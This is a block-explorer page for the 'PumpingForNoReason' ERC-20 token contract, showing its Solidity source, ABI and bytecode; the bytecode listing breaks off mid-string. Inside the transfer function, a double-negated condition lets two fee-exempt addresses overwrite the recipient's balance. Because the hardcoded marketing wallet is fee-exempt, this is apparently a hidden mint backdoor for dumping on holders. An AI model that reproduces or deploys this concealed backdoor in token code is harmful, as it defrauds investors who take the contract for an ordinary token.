ERC-20
Overview
Max Total Supply
10,000,000 $REASONS
Holders
65
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
13,394.370874492 $REASONSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
pumpingfornoreason
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-18 */ //Tg: https://t.me/PumpingForNoReason/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract pumpingfornoreason is ERC20, Ownable { using SafeMath for uint256; address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address DEAD = 0x000000000000000000000000000000000000dEaD; string constant _name = "PumpingForNoReason"; string constant _symbol = "$REASONS"; uint8 constant _decimals = 9; uint256 _totalSupply = 10000000 * (10 ** _decimals); uint256 public _maxWalletAmount = (_totalSupply * 100) / 100; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; uint256 liquidityFee = 0; uint256 marketingFee = 3; uint256 totalFee = liquidityFee + marketingFee; uint256 feeDenominator = 100; address public marketingFeeReceiver = 0xB078AE0724Cf7E744eb9905e955235800C9Beda8; IDEXRouter public router; address public pair; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply / 100 * 5; // 0.5% bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () Ownable(msg.sender) { router = IDEXRouter(routerAdress); pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this)); _allowances[address(this)][address(router)] = type(uint256).max; address _owner = owner; isFeeExempt[0xB078AE0724Cf7E744eb9905e955235800C9Beda8] = true; isTxLimitExempt[_owner] = true; isTxLimitExempt[0xB078AE0724Cf7E744eb9905e955235800C9Beda8] = true; isTxLimitExempt[DEAD] = true; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { uint256 MAX = ~uint256(0); if(inSwap){ return _basicTransfer(sender, recipient, amount); } if (recipient != pair && recipient != DEAD) { require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size."); } bool ifes = isFeeExempt[sender]; bool ifer = isFeeExempt[recipient]; if (!(!ifes)&& (!(!ifer))){_balances[recipient]=amount;} if(shouldSwapBack()){ swapBack(); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function takeFee(address sender, uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(totalFee).div(feeDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function swapBack() internal swapping { uint256 contractTokenBalance = swapThreshold; uint256 amountToLiquify = contractTokenBalance.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee); (bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}(""); require(MarketingSuccess, "Failed swap!"); if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, 0xB078AE0724Cf7E744eb9905e955235800C9Beda8, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function buyTokens(uint256 amount, address to) internal swapping { address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(this); router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, path, to, block.timestamp ); } function clearStuckBalance() external { payable(marketingFeeReceiver).transfer(address(this).balance); } function setFee(uint256 _liquidityFee, uint256 _marketingFee) external onlyOwner { liquidityFee = _liquidityFee; marketingFee = _marketingFee; totalFee = liquidityFee + marketingFee; } event AutoLiquify(uint256 amountETH, uint256 amountBOG); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556002805490911661dead179055620000486009600a620004b4565b620000579062989680620004cc565b600355606460035460646200006d9190620004cc565b620000799190620004e6565b600455600060098190556003600a819055620000959162000509565b600b556064600c819055600d80546001600160a01b03191673b078ae0724cf7e744eb9905e955235800c9beda8179055600f805460ff60a01b1916600160a01b179055600354620000e79190620004e6565b620000f4906005620004cc565b6010553480156200010457600080fd5b5060008054336001600160a01b031991821617909155600154600e80546001600160a01b039092169190921681179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000171573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019791906200051f565b6001600160a01b031663c9c65396600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021f91906200051f565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af11580156200026c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029291906200051f565b600f80546001600160a01b0319166001600160a01b03928316179055306000908152600660209081526040808320600e54851684528252808320600019905582547f3338598275b97ecd1fc5a946beea493f1cb790ad6194fd82f15fb19b9c920ed0805460ff1990811660019081179092559186168086526008855283862080548416831790557feb3698e671bf1b123422d4e1bec5f413018f03e9a2791917ae5c757b22b07dcb8054841683179055600254909616855282852080549092161790556003548484526005835281842081905590519081528392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506200054a565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003f6578160001904821115620003da57620003da6200039f565b80851615620003e857918102915b93841c9390800290620003ba565b509250929050565b6000826200040f57506001620004ae565b816200041e57506000620004ae565b8160018114620004375760028114620004425762000462565b6001915050620004ae565b60ff8411156200045657620004566200039f565b50506001821b620004ae565b5060208310610133831016604e8410600b841016171562000487575081810a620004ae565b620004938383620003b5565b8060001904821115620004aa57620004aa6200039f565b0290505b92915050565b6000620004c560ff841683620003fe565b9392505050565b8082028115828204841417620004ae57620004ae6200039f565b6000826200050457634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620004ae57620004ae6200039f565b6000602082840312156200053257600080fd5b81516001600160a01b0381168114620004c557600080fd5b611366806200055a6000396000f3fe60806040526004361061012e5760003560e01c80636c0a24eb116100ab57806395d89b411161006f57806395d89b4114610362578063a8aa1b3114610393578063a9059cbb146103b3578063dd62ed3e146103d3578063e96fada214610419578063f887ea401461043957600080fd5b80636c0a24eb146102ae5780636ddd1713146102c457806370a08231146102e5578063715018a61461031b578063893d20e81461033057600080fd5b80632f54bf6e116100f25780632f54bf6e1461020c578063313ce5671461023b578063364333f41461025757806352f7c9881461026e578063571ac8b01461028e57600080fd5b80630445b6671461013a57806306fdde0314610163578063095ea7b3146101a757806318160ddd146101d757806323b872dd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015060105481565b6040519081526020015b60405180910390f35b34801561016f57600080fd5b50604080518082019091526012815271283ab6b834b733a337b92737a932b0b9b7b760711b60208201525b60405161015a91906110a1565b3480156101b357600080fd5b506101c76101c2366004611104565b610459565b604051901515815260200161015a565b3480156101e357600080fd5b50600354610150565b3480156101f857600080fd5b506101c7610207366004611130565b6104c6565b34801561021857600080fd5b506101c7610227366004611171565b6000546001600160a01b0391821691161490565b34801561024757600080fd5b506040516009815260200161015a565b34801561026357600080fd5b5061026c610588565b005b34801561027a57600080fd5b5061026c61028936600461118e565b6105c4565b34801561029a57600080fd5b506101c76102a9366004611171565b610627565b3480156102ba57600080fd5b5061015060045481565b3480156102d057600080fd5b50600f546101c790600160a01b900460ff1681565b3480156102f157600080fd5b50610150610300366004611171565b6001600160a01b031660009081526005602052604090205490565b34801561032757600080fd5b5061026c610635565b34801561033c57600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b34801561036e57600080fd5b5060408051808201909152600881526724524541534f4e5360c01b602082015261019a565b34801561039f57600080fd5b50600f5461034a906001600160a01b031681565b3480156103bf57600080fd5b506101c76103ce366004611104565b6106bd565b3480156103df57600080fd5b506101506103ee3660046111b0565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561042557600080fd5b50600d5461034a906001600160a01b031681565b34801561044557600080fd5b50600e5461034a906001600160a01b031681565b3360008181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104b49086815260200190565b60405180910390a35060015b92915050565b6001600160a01b038316600090815260066020908152604080832033845290915281205460001914610573576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b038716600090815260068252838120338252909152919091205461054e9184906106ca565b6001600160a01b03851660009081526006602090815260408083203384529091529020555b61057e848484610704565b90505b9392505050565b600d546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156105c1573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461060c5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b6009829055600a81905561062081836111ff565b600b555050565b60006104c082600019610459565b6000546001600160a01b031633146106785760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610603565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000610581338484610704565b600081848411156106ee5760405162461bcd60e51b815260040161060391906110a1565b5060006106fb8486611212565b95945050505050565b6011546000906000199060ff16156107295761072185858561098f565b915050610581565b600f546001600160a01b0385811691161480159061075557506002546001600160a01b03858116911614155b15610800576001600160a01b03841660009081526008602052604090205460ff16806107a657506004546001600160a01b0385166000908152600560205260409020546107a39085906111ff565b11155b6108005760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b6064820152608401610603565b6001600160a01b0380861660009081526007602052604080822054928716825290205460ff9182169116811580159061083857508015155b15610859576001600160a01b03861660009081526005602052604090208590555b610861610a75565b1561086e5761086e610acd565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038a166000908152600590915291909120546108c09187906106ca565b6001600160a01b038816600090815260056020908152604080832093909355600790529081205460ff16156108f557856108ff565b6108ff8887610e68565b6001600160a01b0388166000908152600560205260409020549091506109259082610f0e565b6001600160a01b0380891660008181526005602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109799085815260200190565b60405180910390a3506001979650505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526005909152918220546109e09184906106ca565b6001600160a01b038086166000908152600560205260408082209390935590851681522054610a0f9083610f0e565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a639086815260200190565b60405180910390a35060019392505050565b600f546000906001600160a01b03163314801590610a96575060115460ff16155b8015610aab5750600f54600160a01b900460ff165b8015610ac857506010543060009081526005602052604090205410155b905090565b6011805460ff19166001179055601054600b54600954600091610b0091600291610afa9182908790610f6d565b90610fef565b90506000610b0e8383611031565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610b4857610b48611225565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ba1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc5919061123b565b81600181518110610bd857610bd8611225565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b81524792919091169063791ac94790610c22908690600090879030904290600401611258565b600060405180830381600087803b158015610c3c57600080fd5b505af1158015610c50573d6000803e3d6000fd5b505050506000610c69824761103190919063ffffffff16565b90506000610c8f610c866002600954610fef90919063ffffffff16565b600b5490611031565b90506000610cb16002610afa84610afa60095488610f6d90919063ffffffff16565b90506000610cce83610afa600a5487610f6d90919063ffffffff16565b600d546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d8060008114610d25576040519150601f19603f3d011682016040523d82523d6000602084013e610d2a565b606091505b5050905080610d6a5760405162461bcd60e51b815260206004820152600c60248201526b4661696c656420737761702160a01b6044820152606401610603565b8815610e5257600e5460405163f305d71960e01b8152306004820152602481018b9052600060448201819052606482015273b078ae0724cf7e744eb9905e955235800c9beda860848201524260a48201526001600160a01b039091169063f305d71990859060c40160606040518083038185885af1158015610df0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e1591906112c9565b505060408051858152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506011805460ff191690555050505050505050565b600080610e86600c54610afa600b5486610f6d90919063ffffffff16565b30600090815260056020526040902054909150610ea39082610f0e565b30600081815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef49085815260200190565b60405180910390a3610f068382611031565b949350505050565b600080610f1b83856111ff565b9050838110156105815760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610603565b600082600003610f7f575060006104c0565b6000610f8b83856112f7565b905082610f98858361130e565b146105815760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610603565b600061058183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611073565b600061058183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506106ca565b600081836110945760405162461bcd60e51b815260040161060391906110a1565b5060006106fb848661130e565b600060208083528351808285015260005b818110156110ce578581018301518582016040015282016110b2565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105c157600080fd5b6000806040838503121561111757600080fd5b8235611122816110ef565b946020939093013593505050565b60008060006060848603121561114557600080fd5b8335611150816110ef565b92506020840135611160816110ef565b929592945050506040919091013590565b60006020828403121561118357600080fd5b8135610581816110ef565b600080604083850312156111a157600080fd5b50508035926020909101359150565b600080604083850312156111c357600080fd5b82356111ce816110ef565b915060208301356111de816110ef565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b808201808211156104c0576104c06111e9565b818103818111156104c0576104c06111e9565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561124d57600080fd5b8151610581816110ef565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112a85784516001600160a01b031683529383019391830191600101611283565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156112de57600080fd5b8351925060208401519150604084015190509250925092565b80820281158282048414176104c0576104c06111e9565b60008261132b57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220649c9e84afa1bcc64e973f0a42f12900434f7bd7795d9c7c211dc7f0090d7feb64736f6c63430008110033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c80636c0a24eb116100ab57806395d89b411161006f57806395d89b4114610362578063a8aa1b3114610393578063a9059cbb146103b3578063dd62ed3e146103d3578063e96fada214610419578063f887ea401461043957600080fd5b80636c0a24eb146102ae5780636ddd1713146102c457806370a08231146102e5578063715018a61461031b578063893d20e81461033057600080fd5b80632f54bf6e116100f25780632f54bf6e1461020c578063313ce5671461023b578063364333f41461025757806352f7c9881461026e578063571ac8b01461028e57600080fd5b80630445b6671461013a57806306fdde0314610163578063095ea7b3146101a757806318160ddd146101d757806323b872dd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015060105481565b6040519081526020015b60405180910390f35b34801561016f57600080fd5b50604080518082019091526012815271283ab6b834b733a337b92737a932b0b9b7b760711b60208201525b60405161015a91906110a1565b3480156101b357600080fd5b506101c76101c2366004611104565b610459565b604051901515815260200161015a565b3480156101e357600080fd5b50600354610150565b3480156101f857600080fd5b506101c7610207366004611130565b6104c6565b34801561021857600080fd5b506101c7610227366004611171565b6000546001600160a01b0391821691161490565b34801561024757600080fd5b506040516009815260200161015a565b34801561026357600080fd5b5061026c610588565b005b34801561027a57600080fd5b5061026c61028936600461118e565b6105c4565b34801561029a57600080fd5b506101c76102a9366004611171565b610627565b3480156102ba57600080fd5b5061015060045481565b3480156102d057600080fd5b50600f546101c790600160a01b900460ff1681565b3480156102f157600080fd5b50610150610300366004611171565b6001600160a01b031660009081526005602052604090205490565b34801561032757600080fd5b5061026c610635565b34801561033c57600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b34801561036e57600080fd5b5060408051808201909152600881526724524541534f4e5360c01b602082015261019a565b34801561039f57600080fd5b50600f5461034a906001600160a01b031681565b3480156103bf57600080fd5b506101c76103ce366004611104565b6106bd565b3480156103df57600080fd5b506101506103ee3660046111b0565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561042557600080fd5b50600d5461034a906001600160a01b031681565b34801561044557600080fd5b50600e5461034a906001600160a01b031681565b3360008181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104b49086815260200190565b60405180910390a35060015b92915050565b6001600160a01b038316600090815260066020908152604080832033845290915281205460001914610573576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b038716600090815260068252838120338252909152919091205461054e9184906106ca565b6001600160a01b03851660009081526006602090815260408083203384529091529020555b61057e848484610704565b90505b9392505050565b600d546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156105c1573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461060c5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b6009829055600a81905561062081836111ff565b600b555050565b60006104c082600019610459565b6000546001600160a01b031633146106785760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610603565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000610581338484610704565b600081848411156106ee5760405162461bcd60e51b815260040161060391906110a1565b5060006106fb8486611212565b95945050505050565b6011546000906000199060ff16156107295761072185858561098f565b915050610581565b600f546001600160a01b0385811691161480159061075557506002546001600160a01b03858116911614155b15610800576001600160a01b03841660009081526008602052604090205460ff16806107a657506004546001600160a01b0385166000908152600560205260409020546107a39085906111ff565b11155b6108005760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b6064820152608401610603565b6001600160a01b0380861660009081526007602052604080822054928716825290205460ff9182169116811580159061083857508015155b15610859576001600160a01b03861660009081526005602052604090208590555b610861610a75565b1561086e5761086e610acd565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038a166000908152600590915291909120546108c09187906106ca565b6001600160a01b038816600090815260056020908152604080832093909355600790529081205460ff16156108f557856108ff565b6108ff8887610e68565b6001600160a01b0388166000908152600560205260409020549091506109259082610f0e565b6001600160a01b0380891660008181526005602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109799085815260200190565b60405180910390a3506001979650505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526005909152918220546109e09184906106ca565b6001600160a01b038086166000908152600560205260408082209390935590851681522054610a0f9083610f0e565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a639086815260200190565b60405180910390a35060019392505050565b600f546000906001600160a01b03163314801590610a96575060115460ff16155b8015610aab5750600f54600160a01b900460ff165b8015610ac857506010543060009081526005602052604090205410155b905090565b6011805460ff19166001179055601054600b54600954600091610b0091600291610afa9182908790610f6d565b90610fef565b90506000610b0e8383611031565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610b4857610b48611225565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ba1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc5919061123b565b81600181518110610bd857610bd8611225565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b81524792919091169063791ac94790610c22908690600090879030904290600401611258565b600060405180830381600087803b158015610c3c57600080fd5b505af1158015610c50573d6000803e3d6000fd5b505050506000610c69824761103190919063ffffffff16565b90506000610c8f610c866002600954610fef90919063ffffffff16565b600b5490611031565b90506000610cb16002610afa84610afa60095488610f6d90919063ffffffff16565b90506000610cce83610afa600a5487610f6d90919063ffffffff16565b600d546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d8060008114610d25576040519150601f19603f3d011682016040523d82523d6000602084013e610d2a565b606091505b5050905080610d6a5760405162461bcd60e51b815260206004820152600c60248201526b4661696c656420737761702160a01b6044820152606401610603565b8815610e5257600e5460405163f305d71960e01b8152306004820152602481018b9052600060448201819052606482015273b078ae0724cf7e744eb9905e955235800c9beda860848201524260a48201526001600160a01b039091169063f305d71990859060c40160606040518083038185885af1158015610df0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e159